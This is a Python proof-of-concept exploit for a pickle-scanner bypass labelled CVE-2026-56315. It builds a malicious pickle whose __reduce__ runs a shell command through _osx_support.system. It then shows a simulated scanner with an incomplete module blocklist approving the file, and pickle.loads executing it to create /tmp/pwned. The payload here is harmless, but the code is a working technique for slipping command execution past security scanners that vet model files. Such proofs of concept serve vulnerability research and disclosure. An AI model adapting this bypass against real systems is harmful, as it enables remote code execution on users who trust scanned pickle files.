Vulnerable code sample

import pickle
import pickletools
import os
import sys

# This example represents the logic of a vulnerable scanning tool before a fix.
# The vulnerability lies in an incomplete blocklist of dangerous modules.
# The real 'picklescan' is more complex, but this demonstrates the core flaw
# of failing to block modules that can execute system commands.

# In this hypothetical vulnerable version, the blocklist is missing '_osx_support',
# which has a 'system' function, just like the 'os' module.
# This code will only work on macOS. For other systems, a similar private
# module with command execution capabilities would be used (e.g., '_aix_support').
if sys.platform != "darwin":
    print("This specific exploit example is designed for macOS and uses '_osx_support'.")
    print("The principle applies to other OS-specific modules on other systems.")
    # Fallback to a universally available but less illustrative module if not on macOS.
    # The vulnerability described also mentioned 'imaplib' which could be abused.
    # For simplicity, we exit if not on the target platform for this PoC.
    sys.exit(0)

import _osx_support

# --- Part 1: The Malicious Pickle Payload ---
# An attacker would create and distribute a pickle file generated from this class.
class ArbitraryCodeExecutor:
    def __reduce__(self):
        # The __reduce__ method is called when an object is pickled.
        # It returns a callable and its arguments. When unpickled, the callable
        # is executed with the given arguments.
        # The exploit uses '_osx_support.system', which the vulnerable scanner
        # does not block.
        command = "echo 'Vulnerability CVE-2026-56315 exploited!' > /tmp/pwned"
        print(f"[ATTACKER] Crafting malicious pickle to run: '{command}'")
        return (_osx_support.system, (command,))

# Create the malicious payload
malicious_instance = ArbitraryCodeExecutor()
# The attacker would save this to a file:
# with open('malicious.pkl', 'wb') as f:
#     pickle.dump(malicious_instance, f)
malicious_pickle_data = pickle.dumps(malicious_instance)


# --- Part 2: The Vulnerable Victim Application ---
# This part simulates a user or application that trusts a vulnerable scanner.

# A hypothetical, INCOMPLETE list of dangerous modules.
# The vulnerability is that this list is not exhaustive.
VULNERABLE_BLOCKLIST = {
    "os",
    "sys",
    "subprocess",
    "shutil",
    "system",
}

def vulnerable_scan_and_load(data):
    """
    Simulates a vulnerable pre-1.0.4 'picklescan' that checks for dangerous
    modules before loading. It fails because its blocklist is incomplete.
    """
    print("\n[VICTIM] Scanning received pickle data with vulnerable scanner...")

    is_safe = True
    # Use pickletools to inspect the pickle without executing it.
    for opcode, arg, pos in pickletools.genops(data):
        if opcode.name == 'GLOBAL':
            module_name, _ = arg.split(' ')
            if module_name in VULNERABLE_BLOCKLIST:
                print(f"[SCANNER] DANGER! Found blocked module: {module_name}")
                is_safe = False
                break
            else:
                # The scanner sees '_osx_support' but doesn't recognize it as dangerous.
                print(f"[SCANNER] Found GLOBAL '{arg}'. Module '{module_name}' is not in blocklist. Continuing.")

    if is_safe:
        print("[SCANNER] Scan complete. No blocked modules found. Deemed SAFE.")
        print("[VICTIM] Scanner said it's safe. Loading pickle...")
        try:
            # This is where the RCE happens.
            pickle.loads(data)
            print("[VICTIM] Pickle loaded.")
        except Exception as e:
            print(f"[VICTIM] An error occurred during unpickling: {e}")
    else:
        print("[VICTIM] Scanner found a threat. Aborting load.")


# --- Main execution ---
if __name__ == "__main__":
    # The victim application receives 'malicious_pickle_data' and scans it.
    vulnerable_scan_and_load(malicious_pickle_data)

    # Check if the exploit was successful
    print("\n[PROOF] Checking if exploit was successful...")
    if os.path.exists("/tmp/pwned"):
        print("SUCCESS: The file '/tmp/pwned' was created, meaning arbitrary code was executed.")
        with open("/tmp/pwned", "r") as f:
            print(f"File content: '{f.read().strip()}'")
        os.remove("/tmp/pwned") # Clean up
    else:
        print("FAILURE: The exploit did not work. The file '/tmp/pwned' was not created.")